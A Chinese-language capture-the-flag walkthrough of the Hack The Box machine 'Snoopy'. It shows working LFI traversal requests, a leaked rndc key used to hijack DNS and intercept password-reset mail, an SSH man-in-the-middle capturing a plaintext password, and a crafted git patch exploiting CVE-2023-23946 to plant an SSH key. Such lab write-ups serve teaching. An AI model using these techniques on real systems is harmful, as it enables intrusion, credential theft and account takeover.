Skip to content

Snoopy Writeup

  • 241121: Fixed typos and wrong pasted sample commands.
  • 241129: Fixed indentation error and added tags.

靶機資訊

Machine Description
Name Snoopy
OS Linux
Difficulty Hard
Author ctrlzero

情蒐 Recon Part 1

服務掃描

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_  256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo nmap -p- --min-rate 6969 10.129.229.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 02:04 EST
Nmap scan report for 10.129.229.5
Host is up (0.056s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo nmap -p22,53,80 -sCV --min-rate 6969 10.129.229.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 02:04 EST
Nmap scan report for 10.129.229.5
Host is up (0.057s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_  256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds

掃完標的發現開啟三個port,分別是SSH、DNS和HTTP,系統是打過patch的Ubuntu,Web用Nginx代理。
在此特別注意到DNS服務是 Bind9 ,之後會用到。

HTTP - Port 80

連線至標的首頁,可以在最下方找到一個Email地址,[email protected]

檢視頁面原始碼,發現網站域名:snoopy.htb,於是將域名加至/etc/host中。

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ echo "10.129.229.5 snoopy.htb" | sudo tee -a /etc/hosts

10.129.229.5 snoopy.htb

除此之外,還可以發現announcement文件下載連結,http://snoopy[.]htb/download?file=announcement.pdf,於是使用Burp Suite攔截看看。

記得修改Burp Suite封包過濾設定

記得要點選上方第三列「filter」,啟動所有MIME type,不然預設是看不到下載檔案的封包的。

發現LFI弱點

GET /download?file=announcement.pdf HTTP/1.1封包轉置Repeater,發現目標檔案會被壓成press_release.zip的zip檔下載下來。

嘗試修改file參數,首先測試相對路徑:file=./announcement.pdf,結果成功下載到一樣的檔案,因此推測網站背後運行的app可以處理檔案的相對路徑,於是進一步嘗試看看是否有LFI弱點。

經過測試,發現簡單的....//可以繞過系統檢查,就可利用LFI弱點任意讀取系統檔案。

為什麼....//可以繞過系統檢查?

因為過濾機制沒有遞回檢查(recursive)。
可以先想像成系統只檢查所有可見的../

. . . . / / . . . . / / . . . . / / . . . . / /etc/passwd
並將 . . / 去除:
. . / . . / . . / . . /etc/passwd
但是卻沒有再次檢查(recursive)過濾後的字串是否還包含../,導致防禦機制被繞過。

LFT任意本機檔案下載

除了可以嘗試透過LFI下載passwd和通靈其他檔案(如:SSH金鑰)之外,還能作些什麼?
記得一開始掃描掃到Port 53Bind9嗎? 這是一個方向。

你為什麼不問問神奇海螺呢?

讀取Bind9設定檔

如果沒有假設過DNS(Bind9,或有人稱named)的經驗,不知道這到底是什麼服務,可以直接Google它的設定檔,像是:「bind9 config debian」,就會找到Debian 官方網站,告訴你一般Bind9的設定檔(named.conf*)會在/etc/bind底下,和這個服務大致上的功能是什麼。

對了,建議搜尋時要加上系統分支,像是:Debian,因為有時候不同分支設定檔位置不大一樣。

官方文件裡除了說明設定檔位置之外,還指出如果有一併使用rndc的話,在相同目錄下,還會有一份rndc.key金鑰設定檔,這待會再說,在此先下載看看有沒有named.conf

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//etc/bind/named.conf" | busybox unzip -
Archive:  -
  inflating: press_package/etc/bind/named.conf

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
結果不僅下載到named.conf設定檔,連rndc金鑰(rndc-key)都一併拿到了!

設定檔中的Zone Transfer

只看named.conf還不夠,還沒沒結束,既然DNS的功能是解析域名,怎麼不也看看設定了那些域名紀錄呢?
至少也先把named.conf.local下載下來看看。

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//etc/bind/named.conf.local" | busybox unzip -
Archive:  -
  inflating: press_package/etc/bind/named.conf.local

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/etc/bind/named.conf.local
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

仔細看named.conf.local的內容,發現有兩個有意思的設定:

  1. allow-update { key "rndc-key"; };
    這表示允許使用rndc key註冊DNS zone,意思是我們可以任意修改DNS記錄

    什麼是DNS Zone

    DNS zone是一個DNS伺服器管理的域名空間(zone)。
    每個zone都有一個唯一的名稱,例如snoopy.com,DNS zone包含了該域名下的所有DNS記錄,包括A記錄(IPv4)、MX記錄(郵件交換)、NS記錄等,這些紀錄在此寫在/var/lib/bind/db.snoopy.htb裡面

  2. allow-transfer { 10.0.0.0/8; };
    這表示只要是在10.0.0.0/8網段底下的來源都可以使用zone transfer (AXFR)。

    什麼是DNS Zone Transfer

    Zone transfer就是將DNS zone中的DNS記錄從一台DNS伺服器複製到另外一台DNS的過程,簡單來說就是「同步」,這讓網域中的多台DNS伺服器具有主從關係,讓管理者透過master管理、更新其他slaves,可利用以下情境,例如:

    1. DNS伺服器備份、備援
    2. 平衡負載
      當其中一台DNS負載過重時,可以將zone中的DNS記錄複製到另一個DNS伺服器,以分散流量。
    3. DNS伺服器維護可靠性
      當DNS伺服器需要維護時,可以將zone中的記錄複製到另一DNS伺服器,以確保服務不中斷。
    4. 我想要遠端改DNS紀錄啦

    題外話,zone transfer分有以下兩種方法:

    1. AXFR(Authoritative Zone Transfer)
      完整zone transfer,將zone中的所有DNS記錄複製到另一個DNS伺服器。
    2. IXFR(Incremental Zone Transfer)
      差異zone transfer,只將zone中的變更記錄複製到另一個DNS伺服器。

AXFR取得新站點(子網域)

怎麼知道要利用zone transfer?看完設定檔哪夠啊?

你不覺得剛剛nmap掃出DNS聽53/TCP很奇怪嗎?
一般來說,DNS query只需要聆聽53/UDP,在此就是為了zone transfer功能才開啟TCP, 不然UDP封包大小上限不夠傳輸資料,除非資料大小小於512 byte。

使用dig指令搭配AXFR,取得完整zone,發現snoopy.htb底下有不少子網域,觀察網域所指向的位置有三種:

  1. 指向172網段(172.18.0.0/24)
    像是mattermost.snoopy.htb,可能是docker container(172.18.0.0/24是預設網段),也可能是網域中的其他設備。
  2. 指向10網段(10.0.0.0/8)
    像是ns1.snoopy.htb,可能是網域中的其他設備。
  3. 指向本機(127.0.0.1)
    像是mm.snoopy.htb,指向目前靶機本機,是目前唯一可以直接連線的站點。
Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ dig axfr @10.129.229.5 snoopy.htb

; <<>> DiG 9.20.2-1-Debian <<>> axfr @10.129.229.5 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 56 msec
;; SERVER: 10.129.229.5#53(10.129.229.5) (TCP)
;; WHEN: Tue Nov 12 06:31:37 EST 2024
;; XFR size: 11 records (messages 1, bytes 325)

其他枚舉子網域的方法

如果今天沒有zone transfer可以使用,以下還有一些方法可以取得其他站點(子網域)。

1. 繼續讀取Bind9設定檔
Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ wget -qO- "http://snoopy.htb/download?file=....//....//....//....//....//....//var/lib/bind/db.snoopy.htb" | busybox unzip -
Archive:  -
  inflating: press_package/var/lib/bind/db.snoopy.htb

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ cat press_package/var/lib/bind/db.snoopy.htb
$ORIGIN .
$TTL 86400      ; 1 day
snoopy.htb              IN SOA  ns1.snoopy.htb. ns2.snoopy.htb. (
                                2022032612 ; serial
                                3600       ; refresh (1 hour)
                                1800       ; retry (30 minutes)
                                604800     ; expire (1 week)
                                86400      ; minimum (1 day)
                                )
                        NS      ns1.snoopy.htb.
                        NS      ns2.snoopy.htb.
$ORIGIN snoopy.htb.
$TTL 86400      ; 1 day
mattermost              A       172.18.0.3
mm                      A       127.0.0.1
ns1                     A       10.0.50.10
ns2                     A       10.0.51.10
mattermost              A       172.18.0.3
postgres                A       172.18.0.2
provisions              A       172.18.0.4
www                     A       127.0.0.1
2. 讀取Nginx的設定檔

一般來說,Nginx通常搭配vHost (virtual host)處理子網域,可能可以在/etc/nginx/nginx.conf裡面找到/etc/nginx/sites-enabled/下面的站點設定檔,或者是猜測/etc/nginx/sites-enabled/default.conf存在。

但是No luck. QQ

3. ffuf字典檔暴搜
Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ffuf -u http://10.129.229.5 -H "Host: FUZZ.snoopy.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fl 481

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.229.5
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.snoopy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 481
________________________________________________

mm                      [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 70ms]
:: Progress: [4989/4989] :: Job [1/1] :: 527 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

情蒐 Recon Part 2

目前架構推測

%%{
  init: {
    'theme': 'base',
    'themeVariables': {
      'darkMode': 'true'
    }
  }
}%%
architecture-beta
    group intra(server)[Intra]
    group snoopy(server)[SNOOPY]
    group inter(server)[Internet]

    service n1(server)[ns1] in intra
    service n2(server)[ns2] in intra
    service web(disk)[www] in snoopy
    service nginx(cloud)[nginx] in snoopy
    service host(disk)[host] in snoopy
    service docker(cloud)[docker] in snoopy
    service db(database)[postgres] in snoopy
    service mm(disk)[mm] in snoopy
    service mattermost(cloud)[mattermost] in snoopy
    service provisions(cloud)[provisions] in snoopy
    service hacker(server)[hacker] in inter

    n1:R -- L:host
    n2:R -- B:host
    host:R -- L:docker
    docker:R -- L:nginx
    nginx:L -- L:web
    nginx:T -- L:mm
    hacker:L -- R:web
    hacker:B -- R:mm
    mattermost:B -- T:docker
    db:T -- B:docker
    provisions:B -- T:docker

HTTP - mm

首先把mm.snoopy.htb加入至/etc/hosts

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$  echo "10.129.229.5 mm.snoopy.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.229.5 mm.snoopy.htb

連線至該網站,發現架著了Mattermost,且可以登入。

但是除了一開始發現的[email protected],沒有其他帳號可以測試,所以先回去本站snoopy.htb尋找其他資訊。

使用者帳號蒐集

回至本站,在Team頁面,詳列出4位公司成員的Email:

嘗試重設帳號密碼

回到mm的登入畫面,嘗試重設任何一個帳號的密碼,同時Burp Suite攔截封包。
但是系統回復:「Failed to send password reset email successfully.」,這表示Email傳送失敗,可能系統再某些環節失效。

到目前為止,猜猜看是什問題導致的?

It’s DNS. It’s always DNS

It’s not DNS,
There’s no way it’s DNS. It was DNS.

DNS壞掉」,這是系統工程師除了機車的需求之外,最常遇到的鳥問題,所以,永遠,都先懷疑DNS。/s
再次回到本站檢查其他頁面,發現在Contact頁的上方有一條注釋,說他們的mailserver目前是下線狀態,理所當然,mail.snoopy.htb也一同下線了。

這也就是為什麼剛才mm沒辦法寄重設信了,因為mm根本找不到mail.snoopy.htb的DNS紀錄!

DNS挾持

既然沒有mail.snoopy.htb的DNS紀錄,那就自己新增一個吧! 使用剛剛取得的rndc key新增一筆指向自己的A紀錄,這樣一來,當mm在詢問mail.snoopy.htb的IP時,就會問到我們的IP,然後把信件寄給我們。

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
}
Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ nsupdate -k rndc.key
> server 10.129.229.5
> zone snoopy.htb
> update add mail.snoopy.htb 60 A 10.10.14.14
> send
> answer
Answer:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:   1068
;; flags: qr; ZONE: 1, PREREQ: 0, UPDATE: 0, ADDITIONAL: 1
;; ZONE SECTION:
;snoopy.htb.                    IN      SOA

;; TSIG PSEUDOSECTION:
rndc-key.               0       ANY     TSIG    hmac-sha256. 1731483905 300 32 wDv+7IjeQw+hvjWDdARFjW/KWy3Dyes3NYwN/Oy5SFc= 1068 NOERROR 0

> quit

攔截密碼重設信

收信了啦!怎麼收?

由於現在是扮演郵件伺服器的角色,需要建立能夠監聽SMTP(Port 25)的服務,在此使用Python的smtpd模組,當然也可以選你喜歡的mailserver,像是postfix

記得要使用sudo啟動SMTP!

Linux系統保留1~1023的port,需要有root權限才可取用。

terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo pipx install aiosmtpd --global
  installed package aiosmtpd 1.4.6, installed using Python 3.12.6
  These apps are now globally available
    - aiosmtpd
done! ✨ 🌟 ✨

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ sudo aiosmtpd -n -l 10.10.14.14:25

可能需要重新設定mail.snoopy.htb

HTB的靶機是設計給多位攻擊者同時入侵的,因此會定時重設環境。

成功開啟SMTP服務後,寄出密碼重設信,可以在信件中看見重設密碼連結。

重設sbrown的密碼

將Url複製到瀏覽器裡,嘗試重設密碼,但是mm卻回應:

Invalid or missing token in request body.」。

為什麼?

重設密碼失敗的原因

 http://mm.snoopy.htb/reset_password_complete?token=3D4tokp=
nbk3cteokbxegrjmrsasdkdw1g16q15wjdj3u78bqjc8g1uo17i76gu8j5h

仔細觀察觀察Url,發現在token=3D4tokp=nbk3...的地方出現了兩個=, 這導致mm收到重設密碼request時,認為token的實際值只有3D4tokp, 所以當然token的形式不對,因此報錯。

除此之外,觀察信件裡面的內容,發現也有許多的=,例如結尾和'的位置,因此可以推測這應該是某種encoding
上網搜尋:「email encoding decode」就可以找到google的Toolbox,輸入剛才的網址,然後把所有decode的方式都嘗試一遍,發現「Quoted-Printable Decode」可以成功解碼Url。

重設密碼成功

http://mm.snoopy.htb/reset_password_complete?token=4tokpnbk3cteokbxegrjmrsasdkdw1g16q15wjdj3u78bqjc8g1uo17i76gu8j5h

從解碼後的Url可見token的部分正常了,因此重設密碼成功。

內部情蒐

成功以sbrown的身份登入後,閱讀他們工作群組的訊息:

從該群組可以得知幾件事:

  1. cbrown應該是他們的DevOpsSec = DEV + IT + Security,大概有夠血汗高管理權限。
  2. 內部人員可以透過的新頻道申請server設定
  3. 新設定好的server內建防禦機制ClamAV

重設cbrown的密碼

既然cbrown在線上,而且又能夠協助他人設定,應該具有較高的權限,因此重設他的密碼看看。

新頻道Server Provisioning

登入cbrown的帳號,發現可以取得新頻道Server Provisioning

頻道裡面只有兩個成員:cbrownadmin

/server_provision功能

在聊天室訊息框裡輸入/,mm自動跳出可以下大的指令,其中一個唯一有沒有解釋的就是server_provision, 也就是剛才在工作群組裡面提及的功能。

怎麼知道要在訊息框裡面輸入/

直覺,我很難解釋為什麼,但是如果硬要解釋的話,應該可以說是「經驗」。
因為Minecraft指令和Discord、Telegram的機器人指令都是這樣下在聊天室, 加上mm也是使用一樣聊天室的形式,所以我就先入為主的認為指令也是使用相同的方式下達。

輸入該指令後,跳出一個預約server設定的視窗,所以就嘗試預約看看。
在Email欄位填入了cbrown的Email,並再次設定DNS與啟動SMTP,以免又要收信, 在operationg System的選項只有一個選項可以選擇:「Linux - TCP/2222」, 在Server IP地址的位置填入自己的IP,最後在送出預約前在本機監聽Port 2222

結果發現有人嘗試登入SSH

SSH MITM/Honey Pot

既然有人嘗試登入我方的SSH服務,就可以嘗試使用SSH-MITM中間人或是蜜罐他。

成功取得cbrown的密碼!

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ssh-mitm server --remote-host 10.129.237.202 --listen-port 2222
─────────────────────────────────────────────────────────────────── SSH-MITM - ssh audits made simple ────────────────────────────────────────────────────────────────────
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
───────────────────────────────────────────────────────────────────────────── Configuration ──────────────────────────────────────────────────────────────────────────────
🔑 SSH-Host-Keys:
   generated temporary RSAKey key with 2048 bit length
   MD5:72:7d:2e:59:9c:ba:3c:f9:4c:cb:9a:cc:7e:1b:4d:a2
   SHA256:0td88petk3F91zxaSgl9D8zUp6paSfww9EKGWpVxnck
   SHA512:7F8B/A8NN7a3OR/nyLFXaDzzeidoc3hp5Sb0fNO1OAzXVXt8vqodiQfNm4SE1eMNCxVFI9izsAn7OMtTXFzfZw
..........................................................................................................................................................................
💻 listen interfaces :: on port 2222
──────────────────────────────────────────────────────────────────────── waiting for connections ─────────────────────────────────────────────────────────────────────────
[11/15/24 02:38:16] INFO     ℹ session 27177138-7aa2-489f-8ca5-fea5a81ca9a3 created
                    INFO     ℹ client information:
                               - client version: ssh-2.0-paramiko_3.1.0
                               - product name: Paramiko
                               - vendor url:  https://www.paramiko.org/
                              - client address: ip=::ffff:10.129.237.202 port=40478
                             ⚠ detected vulnerabilities by active tests:
                                 CVE-2020-14145 - Fingerprint information leak
                                   * client uses same server_host_key_algorithms list for unknown and known hosts
                                   * Preferred server host key algorithm: ssh-ed25519
                                 CVE-2023-48795 - Terrapin-Attack
                                   * ChaCha20-Poly1305 support:   False
                                   * CBC-EtM support:             True
                                   * Strict key exchange support: False
                                   * Mitigation status:           vulnerable
[11/15/24 02:38:17] INFO     Remote authentication succeeded
                                     Remote Address: 10.129.237.202:22
                                     Username: cbrown
                                     Password: sn00pedcr3dential!!!
                                     Agent: no agent
                    INFO     ℹ 27177138-7aa2-489f-8ca5-fea5a81ca9a3 - local port forwarding
                             SOCKS port: 33639
                               SOCKS4:
                                 * socat: socat TCP-LISTEN:LISTEN_PORT,fork socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=33639
                                 * netcat: nc -X 4 -x localhost:33639 address port
                               SOCKS5:
                                 * netcat: nc -X 5 -x localhost:33639 address port
                    INFO     got ssh command: ls -la
[11/15/24 02:38:18] INFO     ℹ 27177138-7aa2-489f-8ca5-fea5a81ca9a3 - session started
                    INFO     got remote command: ls -la
                    INFO     remote command 'ls -la' exited with code: 0
                    ERROR    Socket exception: Connection reset by peer (104)
                    INFO     ℹ session 27177138-7aa2-489f-8ca5-fea5a81ca9a3 closed
[11/15/24 02:41:29] INFO     ❗ Shutting down server ...

SSH登入cbrown

登入cbrown的SSH後,發現user的下方沒有user.txt,代表cbrown不是目標, ls /home可以得知還有另外一位使用者sbrown。於是嘗試取得sbrown的權限,首先看看sudo -l

cbrown@snoopy:/home$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+

發現cbrown可以以sbrown的身分使用git apply

CVE-2023-23946 - git apply

如果不知道怎麼利用git apply,通常看到sudo -l有可利用程式時,可以先上GTFOBins, 也許會有一些暗示也說不定。

結果在Git頁面得知git apply確實可以利用於「File write」。

git apply是什麼?要怎麼利用?

git apply是Git其中一個功能,將git diff產出的變動紀錄(或稱patch,也就是補丁)實際套用到目的地中。舉例來說,若想要SSH登入sbrown,除了取得SSH金鑰之外,就是把自己的SSH公鑰加入sbrownauthorized_keys,因此,利用git diff偽造一個在sbrownauthorized_keys增加SSH公鑰的紀錄,然後再git apply/home/sbrown/.ssh下,就可以真的寫入公鑰。

人工製造Patch Payload

首先,隨便創造一個目錄,並在理面初始化git。

Terminal
cbrown@snoopy:~$ mkdir sshauth && cd $_
cbrown@snoopy:~/sshauth$ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
Initialized empty Git repository in /home/cbrown/sshauth/.git/

使用touch新增一個authorized_keys,並加入Git記錄中,再用git diff查看變動紀錄,這樣一來就成功製造出新增authorized_keys的紀錄了。

Terminal
cbrown@snoopy:~/sshauth$ touch authorized_keys
cbrown@snoopy:~/sshauth$ git add -N authorized_keys
cbrown@snoopy:~/sshauth$ git diff
WARNING: terminal is not fully functional
Press RETURN to continue
diff --git a/authorized_keys b/authorized_keys
new file mode 100644
index 0000000..e69de29

將真的SSH公鑰加到authorized_keys下,再次使用git diff查看變動紀錄,並存到檔案中。

Terminal
cbrown@snoopy:~/sshauth$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali" > authorized_keys
cbrown@snoopy:~/sshauth$ git diff
WARNING: terminal is not fully functional
Press RETURN to continue
diff --git a/authorized_keys b/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
cbrown@snoopy:~/sshauth$ git diff > ssh.patch

但這樣還不夠,因為diff產生所有變動都是在"目前的目錄"下執行,也就是說如果現在在/tmp底下打patch, 結果會是在/tmp底下建立.home/sbrown/.ssh/authorized_keys,而不是真的加入到/home/sbrown/下, 所以嘗試加入../,編輯後ssh.patch如下:

diff --git a/../../../home/sbrown/.ssh/authorized_keys b/../../../home/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/../../../home/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
Terminal
cbrown@snoopy:~$ chmod 777 ssh.patch
cbrown@snoopy:~$ mv ssh.patch /tmp/ && cd /tmp/
cbrown@snoopy:/tmp$ sudo -u sbrown /usr/bin/git apply -v ssh.patch
[sudo] password for cbrown:
Checking patch ../../../home/sbrown/.ssh/authorized_keys...
error: invalid path '../../../home/sbrown/.ssh/authorized_keys'

但這樣還是不行,原因是Git的保護機制, 讓Git在apply之前先檢查路徑是否會超出目前的工作目錄,如果真的超過目前目錄,則視為錯誤拒絕。 若要忽略這項檢查就需要加入--unsafe-paths選項才行, 但是這樣一來就不符合sudo -l中的正規表示式^apply -v [a-zA-Z0-9.]+了。

於是查了目前Git的版本後,看看有沒有CVE。

Terminal
cbrown@snoopy:~$ git --version
git version 2.34.1

CVE與修改Payload

搜尋「git apply cve」的第一個結果正式GitHub的Git漏洞公告,說明在2.39.2之前的所有git版本apply的路徑檢查機制具有漏洞。
理論上,Git仍然會阻擋超出工作目錄的補丁,但是你可以利用系統檔案連結(symbolic link)繞過檢查機制

我當下沒有明白他的意思,所以就只能先去看來原始碼修正了什麼,從「2.39.2.txt」的release note往前找所有的commit history, 就找到「apply: fix writing behind newly created symbolic links」的記錄。

修正漏洞的方式其實很單純,就是再多加檢查path是不是symbolic link而已。

+ if (path_is_beyond_symlink(state, path))
+       return error(_("affected file '%s' is beyond a symbolic link"), path);

res = try_create_file(state, path, mode, buf, size);
if (res < 0)
    return -1;

同一份commit下也包含了弱點測試腳本:

+    test_expect_success 'symlink setup' '
+    ln -s .git symlink &&
+    git add symlink &&
+    git commit -m "add symlink"
+ '
+ test_expect_success SYMLINKS 'symlink escape when modifying file' '
+     test_when_finished "git reset --hard && git clean -dfx" &&
+     touch .git/modify-me &&
+
+     cat >patch <<-EOF &&
+     diff --git a/symlink b/renamed-symlink
+     similarity index 100%
+     rename from symlink
+     rename to renamed-symlink
+     --
+     diff --git a/renamed-symlink/modify-me b/renamed-symlink/modify-me
+     index 1111111..2222222 100644
+     --- a/renamed-symlink/modify-me
+     +++ b/renamed-symlink/modify-me
+     @@ -0,0 +1,1 @@
+     +busted
+     EOF
+
+     test_must_fail git apply patch 2>stderr &&
+     cat >expected_stderr <<-EOF &&
+     error: renamed-symlink/modify-me: No such file or directory
+     EOF
+     test_cmp expected_stderr stderr &&
+     test_must_be_empty .git/modify-me
+ '

由此可知,只要在相同工作目錄下創造/home/sbrown/.ssh的symbolic link,並加入到patch中, 就可以繞過檢查機制。

diff --git a/link b/renamed-symlink
similarity index 100%
rename from link
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..2181ec1
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILrTGODhENPkBXJ9xtQwpB2jFCzO6943sy9z0szU7bji kali@kali
Terminal
cbrown@snoopy:/tmp$ ln -s /home/sbrown/.ssh link
cbrown@snoopy:/tmp$ chmod 777 ssh.patch
cbrown@snoopy:/tmp$ sudo -u sbrown /usr/bin/git apply -v ssh.patch
Checking patch link => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
warning: unable to unlink 'link': Operation not permitted
Applied patch link => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly

結果成功寫入我方SSH公鑰,SSH登入sbrown

Terminal
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

sbrown@snoopy:~$ cat user.txt
